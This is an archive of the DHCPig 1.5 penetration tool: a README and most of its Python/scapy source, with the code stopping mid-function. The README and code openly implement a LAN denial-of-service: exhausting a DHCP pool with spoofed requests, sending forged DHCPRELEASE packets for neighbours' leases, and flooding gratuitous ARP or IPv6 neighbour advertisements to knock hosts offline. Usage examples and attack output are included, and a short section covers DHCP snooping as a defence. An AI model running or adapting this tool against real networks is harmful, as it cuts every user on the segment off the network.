pax_global_header00006660000000000000000000000064131240264360014513gustar00rootroot0000000000000052 comment=2717f9c20851769bbed80122f7b4a8d967413f51 DHCPig-1.5/000077500000000000000000000000001312402643600124165ustar00rootroot00000000000000DHCPig-1.5/README.md000066400000000000000000000310251312402643600136760ustar00rootroot00000000000000DHCPig ====== Tags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy SUMMARY ------- DHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs on the LAN, stop new users from obtaining IPs, release any IPs in use, then for good measure send gratuitous ARP and knock all windows hosts offline. It requires scapy >=2.1 library and admin privileges to execute. No configuration necessary, just pass the interface as a parameter. It has been tested on multiple Linux distributions and multiple DHCP servers (ISC,Windows 2k3/2k8,..). When executed the script will perform the following actions: * Grab your Neighbors IPs before they do Listen for DHCP Requests from other clients if offer detected, respond with request for that offer. * Request all available IP addresses in Zone Loop and Send DHCP Requests all from different hosts & MAC addresses * Find your Neighbors MAC & IP and release their IP from DHCP server ARP for all neighbors on that LAN, then send DHCPReleases to server Finally the script will then wait for DHCP exhaustion, (that is no received DHCP OFFERs for 10 seconds) and then * Knock all Windows systems offline gratuitous ARP the LAN, and since no additional DHCP addresses are available these windows systems should stay offline. Linux systems will not give up IP even when another system on LAN is detected with same IP. PROTOCOL -------- * __IPv4__ * SEQUENCE 1. ----> DHCP_DISCOVER 2. <---- DHCP_OFFER 3. ----> DHCP_REQUEST 4. <---- DHCP_REPLY (ACK/NACK) * DHCPd snoop detection (DHCPd often checks if IP is in use) * Check for ARP_Snoops * Check for ICMP Snoops * __IPv6__ * SEQUENCE 1. ----> DHCP6_SOLICIT 2. <---- DHCP6_ADVERTISE 3. ----> DHCP6_REQUEST 4. <---- DHCP6_REPLY * DHCPd snoop detection (DHCPd often checks if IP is in use) * Check for ICMPv6 Snoops CHANGELOG ----- 2017 : Better support for WiFi. pig no longer spoofs the ethernet frame src MAC address, just chaddr. Updated DHCP fingerprint to match existing operating systems. Some routers will only respond to known devices. Changed the BOOTP flag to broadcast from unicast. FIOS routers will only respond if broadcast BOOTP option is set. Feedback welcome, pig is now running well on the networks we have tested on. USAGE ----- enhanced DHCP exhaustion attack plus. Usage: pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] Options: -h, --help <-- you are here :) -v, --verbosity ... 0 ... no (3) 1 ... minimal 10 ... default 99 ... debug -6, --ipv6 ... DHCPv6 (off, DHCPv4 by default) -1, --v6-rapid-commit ... enable RapidCommit (2way ip assignment instead of 4way) (off) -s, --client-src ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: ) -O, --request-options ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80) -f, --fuzz ... randomly fuzz packets (off) -t, --threads ... number of sending threads (1) -a, --show-arp ... detect/print arp who_has (off) -i, --show-icmp ... detect/print icmps requests (off) -o, --show-options ... print lease infos (off) -l, --show-lease-confirm ... detect/print dhcp replies (off) -g, --neighbors-attack-garp ... knock off network segment using gratious arps (off) -r, --neighbors-attack-release ... release all neighbor ips (off) -n, --neighbors-scan-arp ... arp neighbor scan (off) -x, --timeout-threads ... thread spawn timer (0.4) -y, --timeout-dos ... DOS timeout (8) (wait time to mass grat.arp) -z, --timeout-dhcprequest ... dhcp request timeout (2) -c, --color ... enable color output (off) EXAMPLE ------- ./pig.py eth1 ./pig.py --show-options eth1 ./pig.py -x1 --show-options eth1 ./pig.py -6 eth1 ./pig.py -6 --fuzz eth1 ./pig.py -6 -c -verbosity=1 eth1 ./pig.py -6 -c -verbosity=3 eth1 ./pig.py -6 -c -verbosity=100 eth1 ./pig.py --neighbors-scan-arp -r -g --show-options eth1 ACTION-SHOTS ------------- IPv4 x@<:/src/DHCPig# ./pig.py -c -v3 -l -a -i -o eth2 [ -- ] [INFO] - using interface eth2 [DBG ] Thread 0 - (Sniffer) READY [DBG ] Thread 1 - (Sender) READY [--->] DHCP_Discover [ <- ] ARP_Request 172.20.0.40 from 172.20.15.1 [--->] DHCP_Discover [ <- ] ARP_Request 172.20.0.41 from 172.20.15.1 [--->] DHCP_Discover [ <- ] ARP_Request 172.20.0.42 from 172.20.15.1 [<---] DHCP_Offer 00:0c:29:da:53:f9 0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40] [DBG ] * xid=154552584 [DBG ] * CIaddr='0.0.0.0' [DBG ] * YIaddr='172.20.0.40' [DBG ] * SIaddr='0.0.0.0' [DBG ] * GIaddr='0.0.0.0' [DBG ] * CHaddr='\xde\xad&K\xd3@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' [DBG ] * Sname='ISCdhcpd' [DBG ] * message-type (2,) [DBG ] * server_id ('172.20.15.1',) [DBG ] * lease_time (60000,) [DBG ] * subnet_mask ('255.254.0.0',) [DBG ] * router ('172.20.15.1',) [DBG ] * 39 ('\x01\x01\x01\x00\xac\x14\x0f\x01',) [--->] DHCP_Request 172.20.0.40 [ <- ] ARP_Request 172.20.0.40 from 172.20.15.1 [--->] DHCP_Discover [ <- ] ARP_Request 172.20.0.41 from 172.20.15.1 ^C[ -- ] ----- ABORT ... ----- [DBG ] Waiting for Thread 0 to die ... [DBG ] Waiting for Thread 1 to die ... IPv6 x@y:/src/DHCPig# ./pig.py -6 -c -v3 -l eth3 [ -- ] [INFO] - using interface eth3 [DBG ] Thread 0 - (Sniffer) READY [DBG ] Thread 1 - (Sender) READY [--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc7\xde\xad#d\xee\xed'] [<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120] [--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120] [<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120] [--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120] [ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120] [--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad\x00|\xa8P'] [<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447] [--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447] [<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447] [--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447] [ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447] [--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad%\x07\nQ'] [<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644] [--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644] [ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644] x@y:/src/DHCPig# ./pig.py -6 -c -v3 -l -a -i -o eth3 [ -- ] [INFO] - using interface eth3 [DBG ] Thread 0 - (Sniffer) READY [DBG ] Thread 1 - (Sender) READY [--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf4\x1d\xde\xad\x00`wg'] [ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8] [<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89] [DBG ] * ] [DBG ] * DHCP6OptClientId optcode=CLIENTID optlen=14 duid= [DBG ] * DHCP6OptServerId optcode=SERVERID optlen=14 duid= [DBG ] * DHCP6OptDNSServers optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ] [DBG ] * DHCP6OptNISPServers optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ] [DBG ] * DHCP6OptNISPDomain optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>> [--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89] [<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89] [DBG ] * ] [DBG ] * DHCP6OptClientId optcode=CLIENTID optlen=14 duid= [DBG ] * DHCP6OptServerId optcode=SERVERID optlen=14 duid= [DBG ] * DHCP6OptDNSServers optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ] [DBG ] * DHCP6OptNISPServers optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ] [DBG ] * DHCP6OptNISPDomain optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>> [--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89] [ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89] ^C[ -- ] ----- ABORT ... ----- [DBG ] Waiting for Thread 0 to die ... [DBG ] Waiting for Thread 1 to die ... Minimal Output (verbosity=1) . = DHCP_Discovery ! = DHCP_Offer ; = ICMP/ARP/DHCP_ACKs D = DEBUG output (show options, etc.) E = ERROR N = NOTICE / INFO x@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3 WARNING: No route found for IPv6 destination :: (no default route?) NDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned .!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD x@y:/src/DHCPig# ./pig.py -6 -c -v1 -l eth3 NDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD DEFENSE ------- most common approach to defending DHCP exhaustion is via access layer switching or wireless controllers. In cisco switching simplest option is to enable DHCP snooping. Snooping will defend against pool exhaustion, IP hijacking, and DHCP sever spoofing all of which are used in DHCPig. Based on examined traffic, DHCP snooping will create a mapping table from IP to mac on each port. User access ports are then restricted to only the given IP. Any DHCP server messages originating from untrusted ports are filtered. enable the following to defend against pool exhaustion, IP hijacking, and DHCP sever spoofing: * enable snooping `ip dhcp snooping` * specify which port your DHCP is associated with. Most likely this is your uplink. Doing the following will limit DHCP server responses to only the specified port, so use after testing in lab environment. `int fa0/1` (or correct interface) `ip dhcp snooping trust` * show status `show ip dhcp snopping` `show ip dhcp snopping binding` * additional info: http://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf CHANGES: -------- more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output more options, double the fun: scapy fuzzing, ipv6 support more options, more fun: show options/show icmp/show arp fixed indents, beautify doc, eyefriendly one-line-logging LICENSE: -------- These scripts are all released under the GPL v2 or later. For a full description of the licence, please visit [http://www.gnu.org/licenses/gpl.txt](http://www.gnu.org/licenses/gpl.txt) DISCLAIMER: --------- All information and software available on this site are for educational purposes only. The author is no way responsible for any misuse of the information. //Kevin //tintin DHCPig-1.5/pig.py000077500000000000000000000647371312402643600135730ustar00rootroot00000000000000#! /usr/bin/env python # -*- coding: utf-8 -*- """ enhanced DHCP exhaustion attack. Doc: http://github.com/kamorin/DHCPig Usage: pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] Options: -h, --help <-- you are here :) -v, --verbosity ... 0 ... no (3) 1 ... minimal 10 ... default 99 ... debug -6, --ipv6 ... DHCPv6 (off, DHCPv4 by default) -1, --v6-rapid-commit ... enable RapidCommit (2way ip assignment instead of 4way) (off) -s, --client-src ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: ) -O, --request-options ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80) -f, --fuzz ... randomly fuzz packets (off) -t, --threads ... number of sending threads (1) -a, --show-arp ... detect/print arp who_has (off) -i, --show-icmp ... detect/print icmps requests (off) -o, --show-options ... print lease infos (off) -l, --show-lease-confirm ... detect/print dhcp replies (off) -g, --neighbors-attack-garp ... knock off network segment using gratious arps (off) -r, --neighbors-attack-release ... release all neighbor ips (off) -n, --neighbors-scan-arp ... arp neighbor scan (off) -x, --timeout-threads ... thread spawn timer (0.4) -y, --timeout-dos ... DOS timeout (8) (wait time to mass grat.arp) -z, --timeout-dhcprequest ... dhcp request timeout (2) -c, --color ... enable color output (off) """ from scapy.all import * import string, binascii, signal, sys, threading, socket, struct, getopt from sys import stdout class Colors: class Palette: ''' dummy, as python 2.5 does not support namedtuples ''' black = None red = None green = None yellow = None blue = None purple = None cyan = None grey = None # forecolor endc = "\033[0m" black = "\033[30m" red = "\033[31m" green = "\033[32m" yellow = "\033[33m" blue = "\033[34m" purple = "\033[35m" cyan = "\033[36m" grey = "\033[37m" # back color background = Palette background.black = "\033[40m" background.red = "\033[41m" background.green = "\033[42m" background.yellow = "\033[43m" background.blue = "\033[44m" background.purple = "\033[45m" background.cyan = "\033[46m" background.grey = "\033[47m" # attribs bold = "\033[1m" underline = "\033[4m" blink = "\033[5m" invert = "\033[7m" ''' Defaults ''' conf.checkIPaddr = False conf.iface = "lo" conf.verb = False SHOW_ARP = True SHOW_ICMP = False SHOW_DHCPOPTIONS = False SHOW_LEASE_CONFIRM = False MODE_IPv6 = False MODE_FUZZ = False DO_GARP = False DO_RELEASE = False DO_ARP = False MAC_LIST = [] TIMEOUT={} TIMEOUT['dos']=8 TIMEOUT['dhcpip']=2 TIMEOUT['timer']=0.4 DO_COLOR = False COLORSCHEME = {'<--':Colors.green+"%s"+Colors.endc, '<-':Colors.blue+"%s"+Colors.endc, '->':Colors.cyan+"%s"+Colors.endc, '-->':Colors.grey+"%s"+Colors.endc, '?':Colors.yellow+"%s"+Colors.endc, 'DEBUG':Colors.purple+"%s"+Colors.endc, 'NOTICE': Colors.bold+Colors.red+"%s"+Colors.endc, 'ERROR': Colors.bold+Colors.red+"%s"+Colors.endc, 'WARNING': Colors.bold+Colors.yellow+"%s"+Colors.endc, None:'%s'} MSGSCHEME = {'<--' :"[<---] %s", # inbound '-->' :"[--->] %s", # outpund '->' :"[ -> ] %s", # icmp / arp out '<-' :"[ <- ] %s", # icmp / arp in '?' :"[ ?? ] %s", 'DEBUG' :"[DBG ] %s", 'NOTICE' :"[ -- ] %s", 'WARNING' :"[ !! ] %s", 'ERROR' :"[XXXX] %s", } MSGSCHEME_MIN = {'<--' :"!", '-->' :".", '->' :":", '<-' :";", '?' :"?", 'DEBUG' :"D", 'NOTICE' :"N", 'WARNING' :"W", 'ERROR' :"E", } DO_v6_RC = False VERBOSITY = 3 THREAD_CNT = 1 THREAD_POOL = [] REQUEST_OPTS = range(80) def checkArgs(): global SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, TIMEOUT, MODE_IPv6, MODE_FUZZ, DO_ARP, DO_GARP, DO_RELEASE, MAC_LIST, DO_COLOR,DO_v6_RC, VERBOSITY,THREAD_CNT,SHOW_LEASE_CONFIRM,REQUEST_OPTS try: opts, args = getopt.getopt(sys.argv[1:], "haiolx:y:z:6fgrns:c1v:t:O:", ["help","show-arp","show-icmp", "show-options","timeout-threads=","timeout-dos=", "timeout-dhcprequest=", "neighbors-scan-arp", "neighbors-attack-release", "neighbors-attack-garp", "fuzz","ipv6","client-src=","color","v6-rapid-commit", "verbosity=","threads=", "show-lease-confirm","request-options="]) except getopt.GetoptError, err: # print help information and exit: print str(err) # will print something like "option -a not recognized" usage() sys.exit(2) for o,a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-a", "--show-arp"): SHOW_ARP = False elif o in ("-i", "--show-icmp"): SHOW_ICMP = True elif o in ("-o", "--show-options"): SHOW_DHCPOPTIONS = True elif o in ("-l", "--show-lease-confirm"): SHOW_LEASE_CONFIRM = True elif o in ("-x", "--timeout-threads"): TIMEOUT['timer'] = float(a) elif o in ("-y", "--timeout-dos"): TIMEOUT['dos'] = float(a) elif o in ("-z", "--timeout-dhcprequest"): TIMEOUT['dhcpip'] = float(a) elif o in ("-6", "--ipv6"): MODE_IPv6 = True elif o in ("-f", "--fuzz"): MODE_FUZZ = True elif o in ("-g", "--neighbors-attack-garp"): DO_GARP = True elif o in ("-r", "--neighbors-attack-release"): DO_RELEASE = True elif o in ("-n", "--neighbors-scan-arp"): DO_ARP = True elif o in ("-s", "--client-src"): MAC_LIST = a.strip().split(",") elif o in ("-c", "--color"): DO_COLOR = True elif o in ("-1", "--v6-rapid-commit"): DO_v6_RC = True elif o in ("-v", "--verbosity"): VERBOSITY = int(a) if VERBOSITY >= 99: conf.verb = True elif o in ("-t", "--threads"): THREAD_CNT = int(a) elif o in ("-O", "--request-options"): REQUEST_OPTS = [] for o in a.split(","): if "-" in o: x = o.split("-") if len(x) == 2: REQUEST_OPTS += range(int(x[0]),int(x[1])) else: print "Error in option - request-options" usage() exit() else: REQUEST_OPTS.append(int(o)) # REQUEST_OPTS = [int(o) for o in REQUEST_OPTS] else: assert False, "unhandled option" if len(args) == 1: if WINDOWS: conf.iface = IFACES.dev_from_name(args[0]) else: conf.iface = args[0] else: usage() sys.exit(2) if conf.verb: print """---------------------[OPTIONS]----------- IPv6 %s fuzz %s DONT_SHOW_ARP %s SHOW_ICMP %s SHOW_DHCPOPTIONS %s SHOW_LEASE_CONFIRMATION %s REQUEST_DHCP_Options %s timeout-threads %s timeout-dos %s timeout-dhcprequest %s neighbors-attack-garp %s neighbors-attack-release %s neighbors-scan-arp %s neighbors-scan-arp %s color %s ----------------------------------------- """%(MODE_IPv6, MODE_FUZZ, SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, SHOW_LEASE_CONFIRM, repr(REQUEST_OPTS), TIMEOUT['timer'], TIMEOUT['dos'], TIMEOUT['dhcpip'], DO_GARP, DO_RELEASE, DO_ARP, repr(MAC_LIST), DO_COLOR) def LOG(message=None, type=None): if VERBOSITY <= 0: return elif VERBOSITY == 1: # minimal verbosity ... dot style output if type in MSGSCHEME_MIN: message = MSGSCHEME_MIN[type] if DO_COLOR and type in COLORSCHEME: message = COLORSCHEME[type]%message stdout.write("%s"%message) stdout.flush() else: if type in MSGSCHEME: message = MSGSCHEME[type]%message if DO_COLOR and type in COLORSCHEME: message = COLORSCHEME[type]%message if MODE_FUZZ: stdout.write("[FUZZ] %s\n"% (message)) else: stdout.write("%s\n"% (message)) stdout.flush() def signal_handler(signal, frame): LOG(type="NOTICE", message= ' ----- ABORT ... -----') i = 0 for t in THREAD_POOL: t.kill_received = True LOG(type="DEBUG", message= 'Waiting for Thread %d to die ...'%i) i+=1 sys.exit(0) # Necessary Network functions not included in scapy # def randomMAC(): global MAC_LIST if len(MAC_LIST)>0: curr = MAC_LIST.pop() MAC_LIST = [curr]+MAC_LIST return curr mac = [ 0xDE, 0xAD, random.randint(0x00, 0x29), random.randint(0x00, 0x7f), random.randint(0x00, 0xff), random.randint(0x00, 0xff) ] return ':'.join(map(lambda x: "%02x" % x, mac)) def toNum(ip): "convert decimal dotted quad string to long integer" return struct.unpack('L',socket.inet_aton(ip))[0] def get_if_net(iff): for net, msk, gw, iface, addr in read_routes(): if (iff == iface and net != 0L): return ltoa(net) warning("No net address found for iface %s\n" % iff) def get_if_msk(iff): for net, msk, gw, iface, addr in read_routes(): if (iff == iface and net != 0L): return ltoa(msk) warning("No net address found for iface %s\n" % iff) def get_if_ip(iff): for net, msk, gw, iface, addr in read_routes(): if (iff == iface and net != 0L): return addr warning("No net address found for iface %s\n" % iff) def calcCIDR(mask): mask = mask.split('.') bits = [] for c in mask: bits.append(bin(int(c))) bits = ''.join(bits) cidr = 0 for c in bits: if c == '1': cidr += 1 return str(cidr) def unpackMAC(binmac): mac = binascii.hexlify(binmac)[0:12] blocks = [mac[x:x+2] for x in xrange(0, len(mac), 2)] return ':'.join(blocks) ########################################################## # # IPv6 Packet crafting # """ protocol specific stuff c2s -> solicit s2c -> advertise c2s -> request s2c -> reply """ def v6_build_ether(mac): IPv6mcast="33:33:00:01:00:02" #IPv6LL="fe80::20c:29ff:fef8:a1c8" IPv6LL = [addr for addr,y,intf in in6_getifaddr() if intf==conf.iface] if len(IPv6LL)>0: IPv6LL=IPv6LL[0] else: LOG(type="NOTICE",message="Could not determine v6 Link-Local Address") exit() IPv6bcast="ff02::1:2" IPv6DHCP_CLI_Port=546 IPv6DHCP_SRV_Port=547 ethead=Ether(src=mac,dst=IPv6mcast)/IPv6(src=IPv6LL,dst=IPv6bcast)/UDP(sport=IPv6DHCP_CLI_Port,dport=IPv6DHCP_SRV_Port) return ethead def v6_build_discover(mac,trid=None,options=[23,24]): ethead=v6_build_ether(mac) trid=trid or random.randint(0x00,0xffffff) cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time()))) if DO_v6_RC: dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptRapidCommit()/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options) else: dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options) return dhcp_discover def v6_build_request(p_advertise,iaid=0xf,trid=None,options=[23,24]): trid=trid or random.randint(0x00,0xffffff) ethead=v6_build_ether(p_advertise[Ether].dst) srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid) cli_id=p_advertise[DHCP6OptClientId] iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid) dhcp_request=ethead/DHCP6_Request(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()/DHCP6OptOptReq( reqopts=options) return dhcp_request def v6_build_release(p_advertise,mac,iaid=0xf,trid=None): trid=trid or random.randint(0x00,0xffffff) ethead=v6_build_ether(p_advertise[Ether].dst) srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid) cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time()))) iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid) dhcp_request=ethead/DHCP6_Release(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime() return dhcp_request def sendPacket(pkt): if MODE_FUZZ: # only fuzz: UDP with payload of UDP (DHCP messages) pkt[UDP] = fuzz(pkt[UDP]) #pkt = [pkt]*100 sendp(pkt, iface=conf.iface) def neighbors(): """ ARP and create map of LAN neighbors """ global dhcpsip, subnet, nodes nodes = {} if MODE_IPv6: LOG(type="WARNING", message="IPv6 - neighbors() not supported at this point ") else: myip = get_if_ip(conf.iface) LOG(type="DEBUG", message="NEIGHBORS: net = %s : msk =%s : CIDR=%s"%(get_if_net(conf.iface),get_if_msk(conf.iface),calcCIDR(get_if_msk(conf.iface)))) pool = Net(myip + "/" + calcCIDR(get_if_msk(conf.iface))) for ip in pool: LOG(type="<--", message="ARP: sending %s " %ip) arp_request=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip, psrc=myip) sendPacket(arp_request) time.sleep(0.005) def release(): """ send release for our neighbors """ global dhcpsmac,dhcpsip,nodes,p_dhcp_advertise if MODE_IPv6 and p_dhcp_advertise and DHCP6OptServerId in p_dhcp_advertise: LOG(type="WARNING", message= " IPv6 - release() is not supported and supposed to be experimental - feel free to add code! ") return # we are releaseing client IDs! m=randomMAC() v6_build_release(p_dhcp_advertise,mac) else: LOG(type="NOTICE", message= "*** Sending DHCPRELEASE for neighbors ") #iterate over all nodes and release their IP from DHCP server for cmac,cip in nodes.iteritems(): myxid = random.randint(1, 900000000) LOG(type="-->", message= "Releasing %s - %s serverip=%s xid=%i"%(cmac,cip,dhcpsip,myxid)) dhcp_release = IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid)/\ DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"]) sendPacket(dhcp_release) if conf.verb: LOG(type="DEBUG", message= "%r"%dhcp_release ) def garp(): """ knock nodes offline """ global dhcpsip, subnet if MODE_IPv6: LOG(type="NOTICE", message="IPv6 - gratious_arp() not supported at this point ") return pool=Net6(dhcpsip+"/"+calcCIDR(subnet)) for ip in pool: m=randomMAC() # craft packet Ether/IPv6/ICMPv6_ND_NA/ICMPv6NDOptDstLLAddr LL_ScopeALL_Multicast_Address="ff02::1" arpp = Ether(src=m,dst="33:33:00:00:00:01")/IPv6(src=ip,dst=LL_ScopeALL_Multicast_Address)/ICMPv6ND_NA(tgt=ip,R=0)/ICMPv6NDOptDstLLAddr(lladdr="00:00:00:00:00:00") sendPacket(arpp) LOG(type="-->", message= "v6_ICMP_NeighborDiscovery - knock offline %s"%ip) if conf.verb: LOG(type="DEBUG", message="%r"%arpp) else: pool = Net(dhcpsip+"/"+calcCIDR(subnet)) for ip in pool: m = randomMAC() arpp = Ether(src=m, dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m, psrc=ip, hwdst="00:00:00:00:00:00", pdst=ip) sendPacket(arpp) LOG(type="-->", message="Gratious_ARP - knock offline %s"%ip) if conf.verb: LOG(type="DEBUG", message="%r"%arpp) class send_dhcp(threading.Thread): """ loop and send Discovers """ def __init__(self): threading.Thread.__init__(self) self.kill_received = False def run(self): global TIMEOUT, dhcpdos, REQUEST_OPTS while not self.kill_received and not dhcpdos: m = randomMAC() myxid = random.randint(1, 900000000) mymac = get_if_hwaddr(conf.iface) hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) # Mac OS options order to avoid DHCP fingerprinting myoptions = [ ("message-type", "discover"), ("param_req_list", chr(1),chr(121),chr(3),chr(6),chr(15),chr(119),chr(252),chr(95),chr(44),chr(46)), ("max_dhcp_size",1500), ("client_id", chr(1), mac2str(m)), ("lease_time",10000), ("hostname", hostname), ("end",'00000000000000') ] if MODE_IPv6: dhcp_discover = v6_build_discover(m,trid=myxid,options=REQUEST_OPTS) LOG(type="-->", message="v6_DHCP_Discover [cid:%s]"%(repr(str(dhcp_discover[DHCP6OptClientId].duid)))) else: dhcp_discover = Ether(src=mymac,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid,flags=0xFFFFFF)/DHCP(options=myoptions) LOG(type="-->", message="DHCP_Discover") sendPacket(dhcp_discover) if TIMEOUT['timer']>0: time.sleep(TIMEOUT['timer']) class sniff_dhcp(threading.Thread): """ sniff DHCP Offers and ACK """ def __init__(self): threading.Thread.__init__(self) if MODE_IPv6: self.filter = "icmp6 or (udp and src port 547 and dst port 546)" else: self.filter = "arp or icmp or (udp and src port 67 and dst port 68)" self.kill_received = False self.dhcpcount = 0 def run(self): global dhcpdos while not self.kill_received and not dhcpdos: sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=conf.iface) if self.dhcpcount>0 : LOG(type="NOTICE", message="timeout waiting on dhcp packet count %d"%self.dhcpcount) self.dhcpcount += 1 if not MODE_FUZZ and self.dhcpcount==5: dhcpdos = True def detect_dhcp(self, pkt): global dhcpsmac,dhcpsip,subnet,SHOW_ARP,SHOW_DHCPOPTIONS,SHOW_ICMP,DO_v6_RC,p_dhcp_advertise, SHOW_LEASE_CONFIRM,REQUEST_OPTS if MODE_IPv6: if DHCP6_Advertise in pkt: self.dhcpcount = 0 if DHCP6OptIAAddress in pkt and DHCP6OptServerId in pkt: p_dhcp_advertise = pkt myip = pkt[DHCP6OptIAAddress].addr sip = repr(pkt[DHCP6OptServerId].duid.lladdr) cip = repr(pkt[DHCP6OptClientId].duid.lladdr) myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) LOG(type="<--", message=("v6 ADVERTISE FROM [%s] -> [%s] - LEASE: IPv6[%s]"%(sip,cip,myip))) if SHOW_DHCPOPTIONS: b = pkt[DHCP6_Advertise] b=str(b.show) for h in b.split("|<"): LOG(type="DEBUG",message="\t* %s"%h) if not DO_v6_RC: # we dont need to request the address if we're using rapid commit mode (2 message: solict / reply) dhcp_req=v6_build_request(pkt,options=REQUEST_OPTS) sendPacket(dhcp_req) LOG(type="-->", message= "v6 REQUEST ACK IPv6[%s]\n"%myip) elif SHOW_LEASE_CONFIRM and DHCP6_Reply in pkt : myip=pkt[DHCP6OptIAAddress].addr sip=repr(pkt[DHCP6OptServerId].duid.lladdr) cip=repr(pkt[DHCP6OptClientId].duid.lladdr) LOG(type="<-", message=("v6 DHCP REPLY FROM [%s] -> [%s] - LEASE: 